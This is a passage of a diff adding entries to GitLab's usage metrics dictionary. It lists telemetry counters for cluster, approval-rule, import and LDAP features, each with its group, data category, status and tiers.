+### `usage_activity_by_stage.configure.clusters_applications_cert_managers`
+
+Total GitLab Managed clusters with GitLab Managed App:Cert Manager installed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175329_clusters_applications_cert_managers.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.clusters_applications_helm`
+
+Total GitLab Managed clusters with GitLab Managed App:Helm enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175331_clusters_applications_helm.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.clusters_applications_ingress`
+
+Total GitLab Managed clusters with GitLab Managed App:Ingress installed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175333_clusters_applications_ingress.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.clusters_applications_knative`
+
+Total GitLab Managed clusters with GitLab Managed App:Knative installed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175335_clusters_applications_knative.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.clusters_disabled`
+
+Total GitLab Managed disabled clusters
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175339_clusters_disabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.clusters_enabled`
+
+Total GitLab Managed clusters currently enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175341_clusters_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.clusters_management_project`
+
+Total GitLab Managed clusters with defined cluster management project
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175337_clusters_management_project.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.clusters_platforms_eks`
+
+Total GitLab Managed clusters provisioned with GitLab on AWS EKS
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175345_clusters_platforms_eks.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.clusters_platforms_gke`
+
+Total GitLab Managed clusters provisioned with GitLab on GCE GKE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175343_clusters_platforms_gke.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.clusters_platforms_user`
+
+Total GitLab Managed clusters that are user provisioned
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175346_clusters_platforms_user.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.group_clusters_disabled`
+
+Total GitLab Managed disabled clusters attached to groups
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175352_group_clusters_disabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.group_clusters_enabled`
+
+Total GitLab Managed enabled clusters attached to groups
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175354_group_clusters_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.instance_clusters_disabled`
+
+Total GitLab Managed disabled clusters attached to the instance
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175348_instance_clusters_disabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.instance_clusters_enabled`
+
+Total GitLab Managed enabled clusters attached to the instance
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175350_instance_clusters_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.project_clusters_disabled`
+
+Total GitLab Managed disabled clusters attached to projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175356_project_clusters_disabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.project_clusters_enabled`
+
+Total GitLab Managed enabled clusters attached to projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175358_project_clusters_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.configure.projects_slack_notifications_active`
+
+Unique projects with Slack webhook enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175400_projects_slack_notifications_active.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `usage_activity_by_stage.configure.projects_slack_slash_active`
+
+Unique projects with Slack ‘/’ commands enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175402_projects_slack_slash_active.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `usage_activity_by_stage.configure.projects_with_prometheus_alerts`
+
+Projects with Prometheus alerting enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175403_projects_with_prometheus_alerts.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.approval_project_rules`
+
+Total number of project approval rules
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182030_approval_project_rules.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.approval_project_rules_with_exact_required_approvers`
+
+Number of approval rules with the exact number of required approvers.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183355_approval_project_rules_with_exact_required_approvers.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.approval_project_rules_with_less_approvers_than_required`
+
+Number of approval rules with fewer approvers than required.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183354_approval_project_rules_with_less_approvers_than_required.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.approval_project_rules_with_more_approvers_than_required`
+
+Number of approval rules with more approvers than required.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183352_approval_project_rules_with_more_approvers_than_required.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.approval_project_rules_with_target_branch`
+
+Number of project approval rules scoped to a specific repo branch.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182032_approval_project_rules_with_target_branch.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.deploy_keys`
+
+Count of users creating deploy keys.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182010_deploy_keys.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.keys`
+
+Count of users creating regular keys.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182012_keys.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.merge_requests`
+
+Count of the number of users creating merge requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175045_merge_requests.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.merge_requests_with_added_rules`
+
+Merge requests with added rules
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175047_merge_requests_with_added_rules.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.merge_requests_with_optional_codeowners`
+
+Count of merge requests with optional codeowner approval rules
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175049_merge_requests_with_optional_codeowners.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.merge_requests_with_overridden_project_rules`
+
+Number of merge requests that have overridden rules created at the project level.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183339_merge_requests_with_overridden_project_rules.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.merge_requests_with_required_codeowners`
+
+Count of merge requests with required codeowner approval rules
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175051_merge_requests_with_required_codeowners.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.projects_enforcing_code_owner_approval`
+
+Count of users creating projects that require approval by code owners for code changes.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182019_projects_enforcing_code_owner_approval.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.projects_imported_from_github`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180630_projects_imported_from_github.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.create.projects_with_disable_overriding_approvers_per_merge_request`
+
+Total count of projects that do not allow overriding approvers on discrete merge requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182014_projects_with_disable_overriding_approvers_per_merge_request.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.projects_with_repositories_enabled`
+
+Count of projects that have a matching Git repository, result of a Git push action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182023_projects_with_repositories_enabled.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.projects_with_sectional_code_owner_rules`
+
+Count of projects using code owners with code owners section feature
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182021_projects_with_sectional_code_owner_rules.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.projects_without_disable_overriding_approvers_per_merge_request`
+
+Count of total projects that do not disable overriding approvers per discrete merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182015_projects_without_disable_overriding_approvers_per_merge_request.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.protected_branches`
+
+Count of users creating projects with repositories making use of at least one protected branch.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182025_protected_branches.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.remote_mirrors`
+
+Count of users creating projects with remote mirrors.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182017_remote_mirrors.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.snippets`
+
+Count of distinct author_id from snippets
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180316_snippets.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.suggestions`
+
+Count of unique users who create suggestions in merge request comments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175053_suggestions.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.total_number_of_locked_files`
+
+The total number of files which have been locked via the GitLab UI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182028_total_number_of_locked_files.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.total_number_of_path_locks`
+
+Number of paths/directories manually locked through the UI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182027_total_number_of_path_locks.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.users_using_lfs_locks`
+
+Number of unique users who have locked files or directories using LFS via the command line
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183346_users_using_lfs_locks.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.create.users_using_path_locks`
+
+Number of users who have manually locked paths/directories through the UI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183344_users_using_path_locks.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.enablement.counts.geo_node_usage.git_fetch_event_count_weekly`
+
+Number of Git fetch events from Prometheus on the Geo secondary
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210309194425_git_fetch_event_count_weekly.yml)
+
+Group: `group::geo`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.enablement.counts.geo_node_usage.git_push_event_count_weekly`
+
+Number of Git push events from Prometheus on the Geo secondary
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210604110603_git_push_event_count_weekly.yml)
+
+Group: `group::geo`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.enablement.geo_secondary_web_oauth_users`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210427212450_geo_secondary_web_oauth_users.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.bulk_imports.gitlab`
+
+Distinct count of users that triggered an import using the Group Migration tool
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180634_gitlab.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.bulk_imports.gitlab_v1`
+
+Count of imports using GitLab Migration
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180636_gitlab_v1.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.compliance_frameworks_with_pipeline`
+
+Count of compliance frameworks that have a pipeline configuration
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210622123800_compliance_frameworks_with_pipeline.yml)
+
+Group: `compliance`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.manage.custom_compliance_frameworks`
+
+Total count of all custom compliance framework labels
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210430081610_custom_compliance_frameworks.yml)
+
+Group: `compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.events`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180754_events.yml)
+
+Group: `group::manage`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.group_imports.gitlab_migration`
+
+Count of groups imported using GitLab Migration
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180703_gitlab_migration.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.group_imports.group_import`
+
+Count of group imports using Group Import/Export
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180702_group_import.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.group_saml_enabled`
+
+Has the instance enabled Group SAML SSO `https://docs.gitlab.com/ee/user/group/saml_sso/` on at least 1 group?
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180813_group_saml_enabled.yml)
+
+Group: `group::manage`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`
+
+### `usage_activity_by_stage.manage.groups`
+
+Number of users who are group members.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180756_groups.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.groups_imported`
+
+Distinct count of users that imported groups using Group Import
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180729_groups_imported.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.issue_imports.csv`
+
+Count of (attempted) imports from csv files
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180700_csv.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.issue_imports.fogbugz`
+
+Count of projects imported from fogbugz
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180656_fogbugz.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.issue_imports.jira`
+
+Count of projects imported from Jira
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180654_jira.yml)
+
+Group: `group::import`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.issue_imports.phabricator`
+
+Count of projects imported from phabricator
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180658_phabricator.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.issues_imported.csv`
+
+Distinct count of users that imported issues into projects using CSV upload
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180727_csv.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.issues_imported.fogbugz`
+
+Distinct count of users that imported issues into projects using FogBugz
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180724_fogbugz.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.issues_imported.jira`
+
+Distinct count of users that imported issues into projects using Jira
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180722_jira.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.issues_imported.phabricator`
+
+Distinct count of users that imported issues into projects using Phabricator
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180726_phabricator.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.ldap_admin_sync_enabled`
+
+Has the instance configured [LDAP Admin Sync](https://docs.gitlab.com/ee/administration/auth/ldap/#administrator-sync)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180811_ldap_admin_sync_enabled.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.ldap_group_sync_enabled`
+
+Has the instance configured [LDAP Group Sync](https://docs.gitlab.com/ee/administration/auth/ldap/#group-sync)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180809_ldap_group_sync_enabled.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.ldap_keys`
+
+Number of users creating keys synced as part of LDAP
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180800_ldap_keys.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.ldap_servers`
+
+Number of [LDAP servers configured for the instance](https://docs.gitlab.com/ee/administration/auth/ldap/#multiple-ldap-servers)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180807_ldap_servers.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.ldap_users`
+
+Number of users that are linked to LDAP
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180801_ldap_users.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.omniauth_providers`
+
+Number of unique user logins using an OmniAuth provider
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183400_omniauth_providers.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.project_imports.bitbucket`
+
+Count of projects imported from Bitbucket
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180643_bitbucket.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.project_imports.bitbucket_server`
+
+Count of projects imported from Bitbucket Server
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180645_bitbucket_server.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.project_imports.git`
+
+Count of projects imported by URL
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180649_git.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.project_imports.gitea`
+
+Count of projects imported from Gitea
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180647_gitea.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.project_imports.github`
+
+Count of projects imported from GitHub
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180641_github.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.project_imports.gitlab`
+
+Count of projects imported from GitLab.com
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180639_gitlab.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.project_imports.gitlab_migration`
+
+Count of projects imported using GitLab Migration
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180652_gitlab_migration.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.project_imports.gitlab_project`
+
+Count of projects imported using Project Import/Export
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180638_gitlab_project.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.project_imports.manifest`
+
+Count of projects imported using manifst file
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180650_manifest.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.project_imports.total`
+
+Count number of projects imported monthly
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210514141520_project_imports_total.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.projects_imported.bitbucket`
+
+Distinct count of users that imported projects from Bitbucket Cloud
+
